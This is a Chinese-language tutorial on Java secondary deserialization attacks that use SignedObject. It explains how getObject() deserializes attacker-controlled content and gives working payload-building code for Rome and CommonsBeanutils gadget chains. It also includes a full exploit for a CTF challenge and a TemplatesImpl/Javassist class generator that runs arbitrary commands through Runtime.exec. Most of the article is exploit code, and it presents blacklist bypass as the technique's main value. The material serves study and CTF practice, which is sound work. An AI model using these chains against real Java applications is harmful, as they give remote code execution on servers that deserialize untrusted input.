Java 二次反序列化学习
字数 1143 2025-08-18 11:35:36
Java二次反序列化漏洞深入解析与利用
1. SignedObject类安全漏洞分析
SignedObject是java.security包下的一个类,用于创建带有数字签名的运行时对象。它包含另一个Serializable对象,并通过数字签名确保其完整性。
1.1 关键漏洞点
SignedObject类的getObject()方法存在反序列化漏洞:
public Object getObject()
throws IOException, ClassNotFoundException {
// 创建序列化输入流
ByteArrayInputStream bais = new ByteArrayInputStream(this.content);
// 创建对象输入流
ObjectInputStream ois = new ObjectInputStream(bais) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
// 这里没有对反序列化的类做任何限制
return super.resolveClass(desc);
}
};
// 执行反序列化
return ois.readObject();
}
关键问题:
- 反序列化内容是可控的(通过构造函数传入)
- 没有对反序列化的类做任何限制
- 该方法是一个getter方法,容易被各种反序列化链调用
1.2 漏洞利用思路
利用SignedObject进行二次反序列化的基本流程:
- 创建一个包含恶意对象的
SignedObject - 构造一个调用链触发
getObject()方法 - 在
getObject()方法执行时触发内部恶意对象的反序列化
示例构造代码:
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象, kp.getPrivate(), Signature.getInstance("DSA"));
2. 利用链分析
2.1 Rome链利用
Rome是一个Java库,其中的EqualsBean和ToStringBean类可以触发getter方法。
2.1.1 ToStringBean利用链
调用链:
HashMap.readObject()
-> ObjectBean.hashCode()
-> ToStringBean.toString()
-> Method.invoke()
-> SignedObject.getObject()
-> 内部恶意对象反序列化
实现代码:
public class ToStringBeanEXP {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap getpayload(Class clazz, Object obj) throws Exception {
ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
ObjectBean expObjectBean = new ObjectBean(clazz, obj);
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
return hashMap;
}
}
2.1.2 EqualsBean利用链
调用链:
Hashtable.readObject()
-> AbstractMap.equals()
-> EqualsBean.equals()
-> Method.invoke()
-> SignedObject.getObject()
-> 内部恶意对象反序列化
实现代码:
public class EqualsBeanEXP {
public static Hashtable getPayload(Class clazz, Object payloadObj) throws Exception {
EqualsBean bean = new EqualsBean(String.class, "r");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", payloadObj);
map2.put("zZ", bean);
map2.put("yy", payloadObj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", clazz);
setFieldValue(bean, "_obj", payloadObj);
return table;
}
}
2.2 CommonsBeanutils利用链
org.apache.commons.beanutils.BeanComparator的compare方法会触发静态方法PropertyUtils#getProperty,最终调用任意getter方法。
调用链:
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> SignedObject.getObject()
-> 内部恶意对象反序列化
实现代码:
public class CommonsBeanUtilsEXP {
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator, "property", string);
setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
}
3. 实际案例分析
3.1 HNCTF JavaMonster题目
题目使用了类似SignedObject的自定义类HDCTF,利用方式相同。
EXP构造:
public class EXP {
public static void main(String[] args) throws Exception {
byte[] bytes = getTemplatesImpl("Calc");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "Poria");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
HashMap table1 = getPayload(Templates.class, obj);
HDCTF hdctf = new HDCTF(table1);
HashMap table2 = getPayload(HDCTF.class, hdctf);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("USy to solve EasyJava");
oos.writeObject(table2);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
3.2 恶意类构造
通用的恶意类构造方法(使用TemplatesImpl):
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("try { Runtime.getRuntime().exec(\"" + cmd + "\"); } catch (Exception ignored) {}");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
4. 防御与绕过技术
4.1 防御措施
- 黑名单过滤:常见防御手段,但容易被绕过
- 白名单过滤:更安全但实现复杂
- 禁止反序列化:最安全但可能影响功能
4.2 绕过技术
- 使用
SignedObject进行二次反序列化绕过黑名单 - 利用不常见的调用链触发反序列化
- 组合多个小工具链实现攻击
5. 总结
SignedObject的二次反序列化漏洞主要价值在于:
- 绕过黑名单防御:因为黑名单通常不会包含
SignedObject类 - 实现深度攻击:可以在一次反序列化中触发多次反序列化操作
- 灵活组合:可以与多种反序列化链组合使用
关键点:
- 理解
SignedObject.getObject()的反序列化机制 - 掌握多种触发getter方法的调用链
- 能够构造有效的恶意对象
- 了解如何组合这些技术绕过防御措施